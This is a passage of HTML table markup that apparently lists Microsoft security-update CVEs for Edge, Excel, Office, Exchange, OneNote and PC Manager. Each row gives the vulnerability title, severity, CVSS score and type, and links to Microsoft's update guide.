  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57977"><span>CVE-2026-57977</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57993"><span>CVE-2026-57993</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58282"><span>CVE-2026-58282</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58283"><span>CVE-2026-58283</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58286"><span>CVE-2026-58286</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58298"><span>CVE-2026-58298</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58524"><span>CVE-2026-58524</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58296"><span>CVE-2026-58296</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58297"><span>CVE-2026-58297</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58300"><span>CVE-2026-58300</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58522"><span>CVE-2026-58522</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58299"><span>CVE-2026-58299</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58523"><span>CVE-2026-58523</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50678"><span>CVE-2026-50678</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54988"><span>CVE-2026-54988</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48580"><span>CVE-2026-48580</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50408"><span>CVE-2026-50408</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55046"><span>CVE-2026-55046</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55138"><span>CVE-2026-55138</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55054"><span>CVE-2026-55054</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55122"><span>CVE-2026-55122</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55898"><span>CVE-2026-55898</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50675"><span>CVE-2026-50675</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55899"><span>CVE-2026-55899</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55948"><span>CVE-2026-55948</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58618"><span>CVE-2026-58618</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47642"><span>CVE-2026-47642</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55024"><span>CVE-2026-55024</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55025"><span>CVE-2026-55025</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55031"><span>CVE-2026-55031</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55048"><span>CVE-2026-55048</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55029"><span>CVE-2026-55029</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55039"><span>CVE-2026-55039</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55136"><span>CVE-2026-55136</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55141"><span>CVE-2026-55141</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55036"><span>CVE-2026-55036</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55044"><span>CVE-2026-55044</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55037"><span>CVE-2026-55037</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55058"><span>CVE-2026-55058</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55137"><span>CVE-2026-55137</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55053"><span>CVE-2026-55053</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55131"><span>CVE-2026-55131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54131"><span>CVE-2026-54131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55947"><span>CVE-2026-55947</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55949"><span>CVE-2026-55949</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56156"><span>CVE-2026-56156</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006"><span>CVE-2026-55006</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009"><span>CVE-2026-55009</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005"><span>CVE-2026-55005</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56642"><span>CVE-2026-56642</span></a></td>
  <td width="256" class="xl74">Microsoft Fabric Data
  Warehouse Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343"><span>CVE-2026-50343</span></a></td>
  <td width="256" class="xl74">Microsoft Install
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50439"><span>CVE-2026-50439</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58537"><span>CVE-2026-58537</span></a></td>
  <td width="256" class="xl74">Microsoft NAT Helper
  Components (ipnathlp.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56193"><span>CVE-2026-56193</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55023"><span>CVE-2026-55023</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55026"><span>CVE-2026-55026</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55027"><span>CVE-2026-55027</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55028"><span>CVE-2026-55028</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55047"><span>CVE-2026-55047</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55035"><span>CVE-2026-55035</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55057"><span>CVE-2026-55057</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl75" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55121"><span>CVE-2026-55121</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55042"><span>CVE-2026-55042</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55139"><span>CVE-2026-55139</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50665"><span>CVE-2026-50665</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56192"><span>CVE-2026-56192</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56195"><span>CVE-2026-56195</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47290"><span>CVE-2026-47290</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50301"><span>CVE-2026-50301</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55017"><span>CVE-2026-55017</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55125"><span>CVE-2026-55125</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55133"><span>CVE-2026-55133</span></a></td>
  <td width="256" class="xl74">Microsoft OneNote
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58636"><span>CVE-2026-58636</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50438"><span>CVE-2026-50438</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
